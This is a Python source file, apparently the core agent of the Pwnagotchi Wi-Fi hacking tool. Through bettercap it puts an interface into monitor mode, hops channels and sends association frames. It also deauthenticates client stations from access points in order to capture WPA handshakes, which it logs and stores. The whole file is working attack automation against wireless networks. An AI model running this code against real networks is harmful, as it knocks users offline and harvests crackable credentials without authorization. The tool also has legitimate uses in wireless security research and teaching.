2020-01-13 19:20:40 +01:00

469 lines
17 KiB
Python

import time
import json
import os
import re
import logging
import _thread
import pwnagotchi
import pwnagotchi.utils as utils
import pwnagotchi.plugins as plugins
from pwnagotchi.ui.web.server import Server
from pwnagotchi.automata import Automata
from pwnagotchi.log import LastSession
from pwnagotchi.bettercap import Client
from pwnagotchi.mesh.utils import AsyncAdvertiser
from pwnagotchi.ai.train import AsyncTrainer
RECOVERY_DATA_FILE = '/root/.pwnagotchi-recovery'
class Agent(Client, Automata, AsyncAdvertiser, AsyncTrainer):
def __init__(self, view, config, keypair):
Client.__init__(self, config['bettercap']['hostname'],
config['bettercap']['scheme'],
config['bettercap']['port'],
config['bettercap']['username'],
config['bettercap']['password'])
Automata.__init__(self, config, view)
AsyncAdvertiser.__init__(self, config, view, keypair)
AsyncTrainer.__init__(self, config)
self._started_at = time.time()
self._filter = None if not config['main']['filter'] else re.compile(config['main']['filter'])
self._current_channel = 0
self._tot_aps = 0
self._aps_on_channel = 0
self._supported_channels = utils.iface_channels(config['main']['iface'])
self._view = view
self._view.set_agent(self)
self._web_ui = Server(self, config['ui'])
self._access_points = []
self._last_pwnd = None
self._history = {}
self._handshakes = {}
self.last_session = LastSession(self._config)
self.mode = 'auto'
if not os.path.exists(config['bettercap']['handshakes']):
os.makedirs(config['bettercap']['handshakes'])
logging.info("%s@%s (v%s)", pwnagotchi.name(), self.fingerprint(), pwnagotchi.version)
for _, plugin in plugins.loaded.items():
logging.debug("plugin '%s' v%s", plugin.__class__.__name__, plugin.__version__)
def config(self):
return self._config
def view(self):
return self._view
def supported_channels(self):
return self._supported_channels
def setup_events(self):
logging.info("connecting to %s ...", self.url)
for tag in self._config['bettercap']['silence']:
try:
self.run('events.ignore %s' % tag, verbose_errors=False)
except Exception as e:
pass
def _reset_wifi_settings(self):
mon_iface = self._config['main']['iface']
self.run('set wifi.interface %s' % mon_iface)
self.run('set wifi.ap.ttl %d' % self._config['personality']['ap_ttl'])
self.run('set wifi.sta.ttl %d' % self._config['personality']['sta_ttl'])
self.run('set wifi.rssi.min %d' % self._config['personality']['min_rssi'])
self.run('set wifi.handshakes.file %s' % self._config['bettercap']['handshakes'])
self.run('set wifi.handshakes.aggregate false')
def start_monitor_mode(self):
mon_iface = self._config['main']['iface']
mon_start_cmd = self._config['main']['mon_start_cmd']
restart = not self._config['main']['no_restart']
has_mon = False
while has_mon is False:
s = self.session()
for iface in s['interfaces']:
if iface['name'] == mon_iface:
logging.info("found monitor interface: %s", iface['name'])
has_mon = True
break
if has_mon is False:
if mon_start_cmd is not None and mon_start_cmd != '':
logging.info("starting monitor interface ...")
self.run('!%s' % mon_start_cmd)
else:
logging.info("waiting for monitor interface %s ...", mon_iface)
time.sleep(1)
logging.info("supported channels: %s", self._supported_channels)
logging.info("handshakes will be collected inside %s", self._config['bettercap']['handshakes'])
self._reset_wifi_settings()
wifi_running = self.is_module_running('wifi')
if wifi_running and restart:
logging.debug("restarting wifi module ...")
self.restart_module('wifi.recon')
self.run('wifi.clear')
elif not wifi_running:
logging.debug("starting wifi module ...")
self.start_module('wifi.recon')
self.start_advertising()
def _wait_bettercap(self):
while True:
try:
s = self.session()
return
except:
logging.info("waiting for bettercap API to be available ...")
time.sleep(1)
def start(self):
self.start_ai()
self._wait_bettercap()
self.setup_events()
self.set_starting()
self.start_monitor_mode()
self.start_event_polling()
# print initial stats
self.next_epoch()
self.set_ready()
def recon(self):
recon_time = self._config['personality']['recon_time']
max_inactive = self._config['personality']['max_inactive_scale']
recon_mul = self._config['personality']['recon_inactive_multiplier']
channels = self._config['personality']['channels']
if self._epoch.inactive_for >= max_inactive:
recon_time *= recon_mul
self._view.set('channel', '*')
if not channels:
self._current_channel = 0
logging.debug("RECON %ds", recon_time)
self.run('wifi.recon.channel clear')
else:
logging.debug("RECON %ds ON CHANNELS %s", recon_time, ','.join(map(str, channels)))
try:
self.run('wifi.recon.channel %s' % ','.join(map(str, channels)))
except Exception as e:
logging.exception("error")
self.wait_for(recon_time, sleeping=False)
def _filter_included(self, ap):
return self._filter is None or \
self._filter.match(ap['hostname']) is not None or \
self._filter.match(ap['mac']) is not None
def set_access_points(self, aps):
self._access_points = aps
plugins.on('wifi_update', self, aps)
self._epoch.observe(aps, list(self._peers.values()))
return self._access_points
def get_access_points(self):
whitelist = self._config['main']['whitelist']
aps = []
try:
s = self.session()
plugins.on("unfiltered_ap_list", self, s['wifi']['aps'])
for ap in s['wifi']['aps']:
if ap['encryption'] == '' or ap['encryption'] == 'OPEN':
continue
elif ap['hostname'] not in whitelist \
and ap['mac'].lower() not in whitelist \
and ap['mac'][:8].lower() not in whitelist:
if self._filter_included(ap):
aps.append(ap)
except Exception as e:
logging.exception("error")
aps.sort(key=lambda ap: ap['channel'])
return self.set_access_points(aps)
def get_total_aps(self):
return self._tot_aps
def get_aps_on_channel(self):
return self._aps_on_channel
def get_current_channel(self):
return self._current_channel
def get_access_points_by_channel(self):
aps = self.get_access_points()
channels = self._config['personality']['channels']
grouped = {}
# group by channel
for ap in aps:
ch = ap['channel']
# if we're sticking to a channel, skip anything
# which is not on that channel
if channels and ch not in channels:
continue
if ch not in grouped:
grouped[ch] = [ap]
else:
grouped[ch].append(ap)
# sort by more populated channels
return sorted(grouped.items(), key=lambda kv: len(kv[1]), reverse=True)
def _find_ap_sta_in(self, station_mac, ap_mac, session):
for ap in session['wifi']['aps']:
if ap['mac'] == ap_mac:
for sta in ap['clients']:
if sta['mac'] == station_mac:
return (ap, sta)
return (ap, {'mac': station_mac, 'vendor': ''})
return None
def _update_uptime(self, s):
secs = pwnagotchi.uptime()
self._view.set('uptime', utils.secs_to_hhmmss(secs))
# self._view.set('epoch', '%04d' % self._epoch.epoch)
def _update_counters(self):
self._tot_aps = len(self._access_points)
tot_stas = sum(len(ap['clients']) for ap in self._access_points)
if self._current_channel == 0:
self._view.set('aps', '%d' % self._tot_aps)
self._view.set('sta', '%d' % tot_stas)
else:
self._aps_on_channel = len([ap for ap in self._access_points if ap['channel'] == self._current_channel])
stas_on_channel = sum(
[len(ap['clients']) for ap in self._access_points if ap['channel'] == self._current_channel])
self._view.set('aps', '%d (%d)' % (self._aps_on_channel, self._tot_aps))
self._view.set('sta', '%d (%d)' % (stas_on_channel, tot_stas))
def _update_handshakes(self, new_shakes=0):
if new_shakes > 0:
self._epoch.track(handshake=True, inc=new_shakes)
tot = utils.total_unique_handshakes(self._config['bettercap']['handshakes'])
txt = '%d (%d)' % (len(self._handshakes), tot)
if self._last_pwnd is not None:
txt += ' [%s]' % self._last_pwnd[:20]
self._view.set('shakes', txt)
if new_shakes > 0:
self._view.on_handshakes(new_shakes)
def _update_peers(self):
self._view.set_closest_peer(self._closest_peer, len(self._peers))
def _reboot(self):
self.set_rebooting()
self._save_recovery_data()
pwnagotchi.reboot()
def _save_recovery_data(self):
logging.warning("writing recovery data to %s ...", RECOVERY_DATA_FILE)
with open(RECOVERY_DATA_FILE, 'w') as fp:
data = {
'started_at': self._started_at,
'epoch': self._epoch.epoch,
'history': self._history,
'handshakes': self._handshakes,
'last_pwnd': self._last_pwnd
}
json.dump(data, fp)
def _load_recovery_data(self, delete=True, no_exceptions=True):
try:
with open(RECOVERY_DATA_FILE, 'rt') as fp:
data = json.load(fp)
logging.info("found recovery data: %s", data)
self._started_at = data['started_at']
self._epoch.epoch = data['epoch']
self._handshakes = data['handshakes']
self._history = data['history']
self._last_pwnd = data['last_pwnd']
if delete:
logging.info("deleting %s", RECOVERY_DATA_FILE)
os.unlink(RECOVERY_DATA_FILE)
except:
if not no_exceptions:
raise
def _event_poller(self):
self._load_recovery_data()
self.run('events.clear')
while True:
time.sleep(1)
new_shakes = 0
logging.debug("polling events ...")
try:
s = self.session()
self._update_uptime(s)
self._update_advertisement(s)
self._update_peers()
self._update_counters()
for h in [e for e in self.events() if e['tag'] == 'wifi.client.handshake']:
filename = h['data']['file']
sta_mac = h['data']['station']
ap_mac = h['data']['ap']
key = "%s -> %s" % (sta_mac, ap_mac)
if key not in self._handshakes:
self._handshakes[key] = h
new_shakes += 1
ap_and_station = self._find_ap_sta_in(sta_mac, ap_mac, s)
if ap_and_station is None:
logging.warning("!!! captured new handshake: %s !!!", key)
self._last_pwnd = ap_mac
plugins.on('handshake', self, filename, ap_mac, sta_mac)
else:
(ap, sta) = ap_and_station
self._last_pwnd = ap['hostname'] if ap['hostname'] != '' and ap[
'hostname'] != '<hidden>' else ap_mac
logging.warning(
"!!! captured new handshake on channel %d, %d dBm: %s (%s) -> %s [%s (%s)] !!!",
ap['channel'],
ap['rssi'],
sta['mac'], sta['vendor'],
ap['hostname'], ap['mac'], ap['vendor'])
plugins.on('handshake', self, filename, ap, sta)
except Exception as e:
logging.error("error: %s", e)
finally:
self._update_handshakes(new_shakes)
def start_event_polling(self):
_thread.start_new_thread(self._event_poller, ())
def is_module_running(self, module):
s = self.session()
for m in s['modules']:
if m['name'] == module:
return m['running']
return False
def start_module(self, module):
self.run('%s on' % module)
def restart_module(self, module):
self.run('%s off; %s on' % (module, module))
def _has_handshake(self, bssid):
for key in self._handshakes:
if bssid.lower() in key:
return True
return False
def _should_interact(self, who):
if self._has_handshake(who):
return False
elif who not in self._history:
self._history[who] = 1
return True
else:
self._history[who] += 1
return self._history[who] < self._config['personality']['max_interactions']
def associate(self, ap, throttle=0):
if self.is_stale():
logging.debug("recon is stale, skipping assoc(%s)", ap['mac'])
return
if self._config['personality']['associate'] and self._should_interact(ap['mac']):
self._view.on_assoc(ap)
try:
logging.info("sending association frame to %s (%s %s) on channel %d [%d clients], %d dBm...",
ap['hostname'], ap['mac'], ap['vendor'], ap['channel'], len(ap['clients']), ap['rssi'])
self.run('wifi.assoc %s' % ap['mac'])
self._epoch.track(assoc=True)
except Exception as e:
self._on_error(ap['mac'], e)
plugins.on('association', self, ap)
if throttle > 0:
time.sleep(throttle)
self._view.on_normal()
def deauth(self, ap, sta, throttle=0):
if self.is_stale():
logging.debug("recon is stale, skipping deauth(%s)", sta['mac'])
return
if self._config['personality']['deauth'] and self._should_interact(sta['mac']):
self._view.on_deauth(sta)
try:
logging.info("deauthing %s (%s) from %s (%s %s) on channel %d, %d dBm ...",
sta['mac'], sta['vendor'], ap['hostname'], ap['mac'], ap['vendor'], ap['channel'], ap['rssi'])
self.run('wifi.deauth %s' % sta['mac'])
self._epoch.track(deauth=True)
except Exception as e:
self._on_error(sta['mac'], e)
plugins.on('deauthentication', self, ap, sta)
if throttle > 0:
time.sleep(throttle)
self._view.on_normal()
def set_channel(self, channel, verbose=True):
if self.is_stale():
logging.debug("recon is stale, skipping set_channel(%d)", channel)
return
# if in the previous loop no client stations has been deauthenticated
# and only association frames have been sent, we don't need to wait
# very long before switching channel as we don't have to wait for
# such client stations to reconnect in order to sniff the handshake.
wait = 0
if self._epoch.did_deauth:
wait = self._config['personality']['hop_recon_time']
elif self._epoch.did_associate:
wait = self._config['personality']['min_recon_time']
if channel != self._current_channel:
if self._current_channel != 0 and wait > 0:
if verbose:
logging.info("waiting for %ds on channel %d ...", wait, self._current_channel)
else:
logging.debug("waiting for %ds on channel %d ...", wait, self._current_channel)
self.wait_for(wait)
if verbose and self._epoch.any_activity:
logging.info("CHANNEL %d", channel)
try:
self.run('wifi.recon.channel %d' % channel)
self._current_channel = channel
self._epoch.track(hop=True)
self._view.set('channel', '%d' % channel)
plugins.on('channel_hop', self, channel)
except Exception as e:
logging.error("error: %s", e)